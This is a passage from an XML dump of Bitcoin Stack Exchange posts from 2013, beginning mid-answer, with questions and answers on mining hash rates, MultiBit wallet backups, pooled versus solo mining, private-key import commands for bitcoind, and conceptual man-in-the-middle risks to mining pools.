&amp;quot;mega-hash&amp;quot; term: CPUs, arrays of GPUs and ASICs are rated according to how many different hashes they can compute per second. Analyzing a million different hashes per second is what's called a &amp;quot;mega-hash&amp;quot;. Obviously, the higher this number the more different combinatinos you can try, so it becomes more probable that you will find an answer. However, this is only a relative advantage that may be completely nullified if the other miners have a similar or even higher computing power than yours.&lt;/p&gt;&#xA;&lt;p&gt;This graph explains it all beautifully, hope it's clearer than my bad prose &lt;a href=&quot;https://i.stack.imgur.com/8kHQf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8kHQf.jpg&quot; alt=&quot;How bitcoins work&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="5406" LastEditDate="2021-08-13T13:44:46.597" LastActivityDate="2021-08-13T13:44:46.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11474" PostTypeId="1" AcceptedAnswerId="11477" CreationDate="2013-06-04T23:23:40.623" Score="2" ViewCount="4139" Body="&lt;p&gt;What is the actual wallet? The slight confusion comes from the install note -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Backup all your wallets.&#xA;&#xA;You can do this by exporting your private keys&#xA;using 'Tools | Export Private Keys'.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If a new wallet is created and called newwallet.wallet,&#xA;is that the wallet, the other file with a date string newwallet-2013xxxxxxxxxx.wallet, the exported private keys, or all of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one is to be backed up, or to be saved and imported into another system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, are these multibit wallets only compatible with multibit, or can they be imported into other programs. On other programs they are called wallet.dat?&lt;/p&gt;&#xA;" OwnerUserId="5432" LastEditorUserId="5432" LastEditDate="2013-06-04T23:30:56.697" LastActivityDate="2013-06-05T05:05:00.600" Title="What is the wallet in MultiBit?" Tags="|wallet|backup|multibit|wallet.dat|private-key-export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11475" PostTypeId="2" ParentId="11469" CreationDate="2013-06-04T23:51:00.580" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#JSON-RPC&quot;&gt;JSON-RPC&lt;/a&gt; interface is a way for other programs to interact with Bitcoin-Qt or &lt;code&gt;bitcoind&lt;/code&gt; while it's running. It's useful for doing things like mining or building a web site that needs to talk to the Bitcoin network directly. Most users don't need to worry about it or set it up.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-06-04T23:51:00.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11476" PostTypeId="2" ParentId="11471" CreationDate="2013-06-05T00:46:32.897" Score="2" Body="&lt;p&gt;Disadvantages of pooled mining:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Smaller expected earnings - pools usually charge a fee and sometimes use a reward system (like Pay Per Share) that can give you a lower payout.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Having to rely on third party system to earn your money - websites go down, and when they do, your miners can be idling.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trust - you have to trust the pool owner not to swindle money from you, either by creating fake miners in the pool that do no work but still receive rewards or otherwise. Similarly, the pool owner can have an agenda of their own that they wish to further (for example, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=56830.0&quot; rel=&quot;nofollow&quot;&gt;Eligius pool owner used their miners to attack an alt-chain&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38007.0&quot; rel=&quot;nofollow&quot;&gt;as well as putting prayers in the coinbase transactions&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Giving power to the pool owner - some important decisions regarding Bitcoin future are made by people voting with their blocks. Some time ago the Bitcoin community had to chose between two BIPs that fulfilled the same role. The voting was done by the coinbase transactions containing a vote for either one of the BIPs. By giving their computing powers to the pools, the miners essentially gave their votes to pool owners to vote as they chose.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Advantages of pooled mining:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;More predictable payouts - pools usually pay you on a more regular schedule - be it once you reach a certain threshold, daily or the like. Solo mining only pays you when you find a block, which can take a few days, years, or never.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extra features - Pools usually let you quickly check the status of your miners from anywhere, notify you of payouts and the like, which would take you a lot of extra setup time on your own.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Less space - If you are solo mining, you need to keep your own copy of the blockchain. Pools handle all that by themselves.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is easier - There is a low less setup required to do pooled mining, especially when we are talking about merged mining and so forth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-05T00:46:32.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11477" PostTypeId="2" ParentId="11474" CreationDate="2013-06-05T04:58:04.667" Score="2" Body="&lt;p&gt;There is a section in the help which describes what each file is and the the data it contains. It is in the section 'More technical details' called 'File descriptions'.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet file (without the numbers) is the main wallet file. It contains your private keys and the relevant transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet file with the numbers in the name is a rolling backup file. The numbers are a timestamp and it is 'the wallet that was saved just beforethe last save'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files with the suffix 'info' contain the labels for your addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private key exports are typically given the extension 'key'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can backup your wallet either by :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Closing MultiBit and then copying the wallet and info files. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exporting your private keys to a private key export file. This only contains private keys (no labels,  no transactions). You can import it into a new wallet and it regenerates the wallet (but currently you lose your address labels).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For higher value wallets I recommend backing up using both techniques and to two separate devices (just to be on the safe side).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the MultiBit wallets are not deterministic so if you create more receiving addresses you will have new private keys created. You will want to redo your backups. You can choose how many new receiving addresses to create at a time (1, 5, 20 or 100) so I normally add more than I think I'll need for that wallet to save me the bother of re-backing up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet format is in a format called protobuf. This is the format used in the bitcoinj library and is also used in the Schildbach Bitcoin Wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developers can easily read and write this file format in other languages like C, C++, python though to my knowledge no-one has written parsers for the data format yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different clients tend to have import and export at the private key level (as that is the crucial data) and it's more standardised. The MultiBit private key export files can be imported directly into blockchain.info and the individual private keys can be transferred to and from anything that supports the WIF private key format. Pretty much all the clients import/ export this private key format. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-06-05T05:05:00.600" LastActivityDate="2013-06-05T05:05:00.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11478" PostTypeId="1" CreationDate="2013-06-05T06:01:54.940" Score="2" ViewCount="171" Body="&lt;p&gt;Everytime i try to open Bitcoin QT it quits unexpectedly, however if i log out and log in using another account on the same Mac, it works fine.  Can i use the other account (where my Bitcoin QT opens fine) to transfer bitcoins to from MtGox as it is still the same computer or do have to fix this issue of it quitting all the time?&lt;/p&gt;&#xA;" OwnerUserId="5435" LastEditorUserId="196" LastEditDate="2013-06-05T10:28:21.017" LastActivityDate="2014-01-31T15:17:04.843" Title="Bitcoin &quot;Quits unexpectedly&quot; everytime but only on my account" Tags="|wallet|bitcoin-core|mtgox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11479" PostTypeId="2" ParentId="11433" CreationDate="2013-06-05T07:49:42.040" Score="6" Body="&lt;p&gt;You ask a lot of things, so I'll explain how Electrum works for you and hope it is what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum uses a seed (twelve words length password). Your private keys are derived from this seed every time you make a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you need to spend the coins received in your Electrum addresses is that seed. You can export the private key for one of the addresses in your wallet, but you should not do it. Keep your Electrum private keys PRIVATE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also import a private key from another wallet, e.g Blockchain.info to be able to spend the coins in that address. It will be added to your wallet as a imported address, imported addresses behave kinda different to Electrum seed addresses. So keep a copy of the imported private key, just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will always be able to restore all your Electrum addresses using your seed, but not the imported keys, as they are not on your seed.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-06-05T07:49:42.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11481" PostTypeId="2" ParentId="11465" CreationDate="2013-06-05T09:43:35.593" Score="1" Body="&lt;p&gt;The mining pools do not authenticate themselves to the miners in any special way beyond what is used in their communication protocol. If the pool takes calls on a non-encrypted socket, the communication can be intercepted and changed - a normal man-in-the-middle attack. If a pool uses a SSH certificate, that is something that can't be mimicked by an attacker and would make such an attack impossible. The mining protocol itself does not add any extra security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The person running the mining operation can always tell that something is fishy if they pay close attention to their miners' productivity and downtime, but that is not part of the protocol.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-05T09:43:35.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11482" PostTypeId="2" ParentId="11442" CreationDate="2013-06-05T09:51:59.037" Score="1" Body="&lt;p&gt;The GPU speed when hashing SHA256 is the most important requirement. A good graphics card for mining this are usually ATI brand cards as these work by using a massive array of parallel shaders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nvidia cards generally perform with a higher floating point performance but achieve this via different means which dont perform as well against SHA256&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other hash types such as scrypt that Litecoin uses has some requirement for memory also, native clock speed is generally the defining factor on performance though.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-06-05T09:51:59.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11483" PostTypeId="2" ParentId="11438" CreationDate="2013-06-05T09:57:18.143" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=51281.msg611856#msg611856&quot; rel=&quot;nofollow noreferrer&quot;&gt;A useful link on the subject.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;Target is computed from a value called &quot;Bits&quot;.&lt;/a&gt; A Bits value of 0x1b0404cb is equivalent to Target of 0x0404cb * 2^(8*(0x1b - 3)) = 0x00000000000404CB000000000000000000000000000000000000000000000000 . A Pool usually specifies the Target to be just shy of Difficulty 1 Target (a typical Target for a Share), which is equal to 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF .&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/9322486/953732&quot;&gt;Calculating a midstate is a big pain&lt;/a&gt;. Basically, you need to get an internal state of the SHA-256 function that will be used in calculating the block hash. Also, you have to be mindful that Bitcoin's endianness is all over the board and you have to be swapping bytes around for no apparent reason every now and then.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Data is just a padded block header.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hopefully with this general explanation and links to examples of the calculations you will be able to compute all the required data as needed.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-06-05T09:57:18.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11484" PostTypeId="2" ParentId="11478" CreationDate="2013-06-05T11:19:37.670" Score="1" Body="&lt;p&gt;I expect this has something to do with the file permissions. Your own user does not appear to have read/write access to the wallet or blockchain directory. Simply copy them to a location that is accessible by both of you, or change the permissions to allows your own user access.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-05T11:19:37.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11485" PostTypeId="1" CreationDate="2013-06-05T11:29:16.207" Score="1" ViewCount="5081" Body="&lt;p&gt;I am new to Bitcoin and I confused creating a New Address for receiving and sending payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generated a random Bitcoin Address (using www.bitaddress.org)&lt;/li&gt;&#xA;&lt;li&gt;Created a New Address in my wallet (added it to &quot;Addresses&quot;, for SENDING payments - I simply thought this would be my address for receiving BTC)&lt;/li&gt;&#xA;&lt;li&gt;Purchased BTC in an online exchange and send the money to that address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;BR&gt;What happens to the coins now? Are they lost forever or waiting for someone lucky to get this address to receive payments (if it doesn't exist yet)...? What can I do to get them back, if anything?&lt;br&gt;&#xA;&lt;strong&gt;Also, is there any way to assign a randomly generated address to my addresses for receiving payments?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please help.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5438" LastEditorUserId="15412" LastEditDate="2014-06-17T21:51:02.263" LastActivityDate="2014-06-17T21:51:02.263" Title="What happens if Bitcoins are sent to a wrong, randomly generated address?" Tags="|wallet|address|lost-bitcoins|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11486" PostTypeId="2" ParentId="11434" CreationDate="2013-06-05T11:49:10.977" Score="3" Body="&lt;p&gt;You are trying to use addresses for accounting, but they aren't designed for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you actually want is the &lt;code&gt;accounts&lt;/code&gt; feature of &lt;code&gt;bitcoind&lt;/code&gt;, though I doubt any mobile wallet implements such a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you say explicitly &lt;em&gt;why&lt;/em&gt; do you think you need to do that, someone might have an answer. Meanwhile, just use the whole balance, and create a new address for each incoming payment, without worrying about specific address balances.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-06-05T11:49:10.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11487" PostTypeId="1" AcceptedAnswerId="11530" CreationDate="2013-06-05T12:37:21.053" Score="10" ViewCount="1891" Body="&lt;p&gt;Alt-coins are now a dime a dozen and with only minor changes to generation rates, difficulty, and algorithms, they all tend to use the SHA-256 (bitcoin) or the scrypt (litecoin/tenebrix)  hashing algorithms for solving blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A friend of mine recently told me about Yacoin and it uses a modified version of scrypt so that mining via GPUs is currently &quot;impossible&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the specific differences between the standard litecoin scrypt algorithm and the yacoin algorithm that makes yacoin currently infeasible to mine on GPUs?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="963" LastEditDate="2014-01-20T08:33:47.803" LastActivityDate="2014-01-20T08:33:47.803" Title="How does the CPU hashing algorithm used in Yacoin differ from scrypt?" Tags="|hash|scrypt|yacoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11488" PostTypeId="2" ParentId="11434" CreationDate="2013-06-05T13:37:01.653" Score="1" Body="&lt;p&gt;Very few, if any wallet client softwares will enable the user to view an address's individual balance. The client will handle sending amounts from multiple addresses seamlessly if a single address does not have a sufficient balance to satisfy request transaction amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to do that is to copy the address to the clipboard and use an online service such as &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are wanting to completely separate addresses and make it impossible to mix addresses, you'll need to use two different clients. It may be possible to use one of the web wallets on your phone for one purpose and use Bitcoin for Android for another purpose.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-06-05T13:37:01.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11490" PostTypeId="2" ParentId="11471" CreationDate="2013-06-05T14:01:15.787" Score="1" Body="&lt;p&gt;While i agree with ThePiachu, here some additional thoughts.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Pool software&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Beeing a solominer would create the need for a pool software. While very few are opensource, the majoritiy is proprietary. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Security&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As a solominer youre solely responsible on your own for any serverside/softwareside security, dealing with ddos and exploit attempts. (However, i dont like to rely on others i barely know.)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pool owner&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This is already mentioned, but highly important. &#xA;Questions one should ask are: &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the motivation of the pool owner to run the pool, how does he makes profit? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Has the pool owner been accused for scam or ben involved in other unethical behavour?&lt;/li&gt;&#xA;&lt;li&gt;How are the coding skills, admin skills, security skills? &lt;/li&gt;&#xA;&lt;li&gt;Is  he running his own software?&lt;/li&gt;&#xA;&lt;li&gt;Is it a team or one man business, if a team, how does the team profit without your coins?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Payout &amp;amp; reward system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Additional note: even as solominer you will be object for intrusion attempts (at least very likely), as bitcoin in its nature is transparent and will make your node appear to the public. (Diversify your bonds ;))&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="2167" LastEditDate="2013-06-05T19:42:36.623" LastActivityDate="2013-06-05T19:42:36.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11492" PostTypeId="2" ParentId="11485" CreationDate="2013-06-05T16:33:48.037" Score="8" Body="&lt;p&gt;Well, you don't need different addresses for sending and receiving bitcoins. In fact, you don't have to worry about addresses at all. The Bitcoin client will create addresses when you need one for receiving payments and it will automatically send bitcoins using one of the addresses you previously received coins with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you generated the address on bitaddress.org without saving the private key, your coins are lost. The situation may occur that sometime in the future someone will create a new key that's the same as yours and be able to spend your lost coins, but that's extremely unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did save the private keys and you are using the original Bitcoin client (bitcoind or Bitcoin-Qt), you can &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys&quot; rel=&quot;nofollow noreferrer&quot;&gt;import the private key&lt;/a&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Close the client that is running. Either close the Bitcoin-Qt client or typing &lt;code&gt;bitcoind stop&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start bitcoind as a daemon using the command &lt;code&gt;bitcoind -daemon&lt;/code&gt;. (If it gives the error that you need to add RPC user details to your &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bitcoin.conf&lt;/code&gt;&lt;/a&gt; file, do so, but also add &lt;code&gt;rpcallowip=127.0.0.1&lt;/code&gt; for security.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you wallet is secured with a passphrase, unlock it with &lt;code&gt;&amp;lt;space&amp;gt;bitcoind walletpassphrase &amp;lt;your passphrase&amp;gt; 120&lt;/code&gt; The space is for not saving your passphrase into the command history.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import the private key: &lt;code&gt;&amp;lt;space&amp;gt;bitcoind importprivkey &quot;&amp;lt;your private key&amp;gt;&quot; &quot;&amp;lt;label for key&amp;gt;&quot;&lt;/code&gt;. (Again the space is for security.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The private key is now imported in your wallet. You can now lock it again and close the daemon: &lt;code&gt;bitcoind walletlock&lt;/code&gt; and &lt;code&gt;bitcoind stop&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can now reopen Bitcoin-Qt to see the address added.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5063/how-do-i-create-a-new-address-in-the-bitcoin-qt-client&quot;&gt;this answer&lt;/a&gt; tells you how to easily add new addresses for receiving bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-06-05T16:33:48.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11493" PostTypeId="2" ParentId="11465" CreationDate="2013-06-05T16:39:15.707" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I interpreted the question as considering a man-in-the-middle attack between the pool operator and the Bitcoin network (the other connected nodes/&quot;clients&quot;). So this is not an answer to the exact question asked, but also considers man-in-the-middle attacks involving mining pools.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Besides the correct &lt;a href=&quot;https://bitcoin.stackexchange.com/a/11481/1307&quot;&gt;answer&lt;/a&gt; that ThePiachu gave, it is important to note that a man-in-the-middle attack in your situation cannot make you any gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the pool communicates are their newly fund blocks. These blocks contain the address that will receive the mined coins and the transaction fees. However, when you would change this address, the block will no longer be valid and will not be accepted. So, since the mining pool has the private key for that address, either they or no one will receive any coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, unless you have a very advanced man-in-the-middle setup, the mining pool will notice that it's block was not accepted and will try to send it again. If it keeps failing, it knows something is wrong. You could also send the pool false messages in return but again, that &lt;strong&gt;would be difficult to do and would not gain you any profit at all&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-06-05T21:03:35.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11494" PostTypeId="2" ParentId="2268" CreationDate="2013-06-05T18:23:52.963" Score="1" Body="&lt;p&gt;(I'm trying to close some old questions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin has a Linux download button on it's &lt;a href=&quot;http://litecoin.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;homepage&lt;/a&gt; now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Nick Odell &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2268/litecoin-binary-for-linux#comment9729_2268&quot;&gt;pointed out&lt;/a&gt;, you can also find the downloads on &lt;a href=&quot;https://github.com/litecoin-project/litecoin/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-06-05T18:23:52.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11495" PostTypeId="2" ParentId="11465" CreationDate="2013-06-05T20:02:53.233" Score="1" Body="&lt;p&gt;There is nothing to prevent such an attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hacker that gains control of your computer could put entries in the hosts file on your computer to make it connect to the hacker's server instead of the servers you usually use. It would always accept whatever name and password you send and feed you work to generate coins for the hacker. A man-in-the-middle could also hijack your connection and make you mine for him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since getblocktemplate and getwork use HTTP they could use SSL to require the pool server to authenticate itself with a valid certificate but I'm not aware of any pools doing this. The Stratum protocol has no support for authentication. But I suppose it could also be run over SSL if server and client authors agreed to do this.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-06-05T20:02:53.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11496" PostTypeId="2" ParentId="11471" CreationDate="2013-06-05T20:45:42.837" Score="2" Body="&lt;p&gt;Pooled mining:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Low variance: you get paid every day.&lt;/li&gt;&#xA;&lt;li&gt;Easy setup: leave most of the headaches to the pool admin(s).&lt;/li&gt;&#xA;&lt;li&gt;Fees: It is possible to mine with low fees. But the offers you are presented with from pools can be tricky to understand. Currently mining income from transaction fees is about 1.5%. Many pools take this income from you and don't mention it. Merged mining of namecoins give you about 6% extra income at the time of writing this. Most pools don't do this. Paying 7.5% fee can actually mean earning 15% less than your potential (7.5 + 1.5 + 6 = 15). Some pools (proportional and &quot;score&quot; reward methods) are vulnerable to pool hoppers, which means you may end up with a smaller share of the coins than you should. Get some info on these things when choosing a pool. The frequently updated mining pools list at bitcointalk is a good resource: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=104664.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=104664.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Trust: someone else is handling your money. Don't leave large amounts of money at the pool. Check the pool's track record. This also goes for exchanges and anywhere else where you leave your coins with someone else. Read the neighborhood pool watch at &lt;a href=&quot;http://organofcorti.blogspot.com&quot; rel=&quot;nofollow&quot;&gt;http://organofcorti.blogspot.com&lt;/a&gt; and stay informed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Solo mining:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;High variance: you might get paid 25 BTC once a year. Or with some bad luck it might take 10 years. If you have fast hashpower maybe you get paid every month on average. And with bad luck it might take 6-12 months. If you mine for 12 months to get a block and then see it get orphaned you will probably not be a happy miner.&lt;/li&gt;&#xA;&lt;li&gt;Complicated setup: you are your own pool admin. You will want to do merged mining otherwise you make much less than in a merged mining pool. You will find that namecoind crashes very often. You will find that publically available pool software is outdated, broken, inefficient and no longer maintained in most instances. To ensure your blocks are rarely orphaned you need good connectivity to the bitcoin peer-to-peer network, especially to the large pools. You don't want them to mine a competing block at the same height simply because they don't yet know that your block already exists.&lt;/li&gt;&#xA;&lt;li&gt;No fees. Potentially the best earnings if you do merged mining and do the work to ensure orphan rates are low. Note that if you don't do merged mining or if you let your orphan rate slip, then this point turns into a negative: you make less than you would at a low-fee merged mining pool.&lt;/li&gt;&#xA;&lt;li&gt;Trust: you can probably trust yourself, assuming you have the technical skills necessary.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;TLDR; solo mining requires a lot of hashpower and is not for the faint of heart. Even then the benefit is questionable depending on which pool(s) you compare with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I run the BitMinter mining pool.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-06-05T20:45:42.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11499" PostTypeId="1" CreationDate="2013-06-06T01:56:51.123" Score="11" ViewCount="37089" Body="&lt;p&gt;What is the best way to purchase Bitcoins quickly? I don't want to wait a month. &lt;/p&gt;&#xA;" OwnerUserId="5445" LastEditorDisplayName="user3930" LastEditDate="2013-06-06T13:38:24.493" LastActivityDate="2019-05-08T20:18:25.010" Title="What is the best way to purchase Bitcoins quickly?" Tags="|transactions|wallet|exchanges|" AnswerCount="9" CommentCount="1" ClosedDate="2014-08-10T23:34:43.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="11501" PostTypeId="2" ParentId="11499" CreationDate="2013-06-06T04:08:13.243" Score="2" Body="&lt;p&gt;Check out bitinstant.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can deposit cash and get btc sent to your email or btc address right after you pay.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-06-06T04:08:13.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
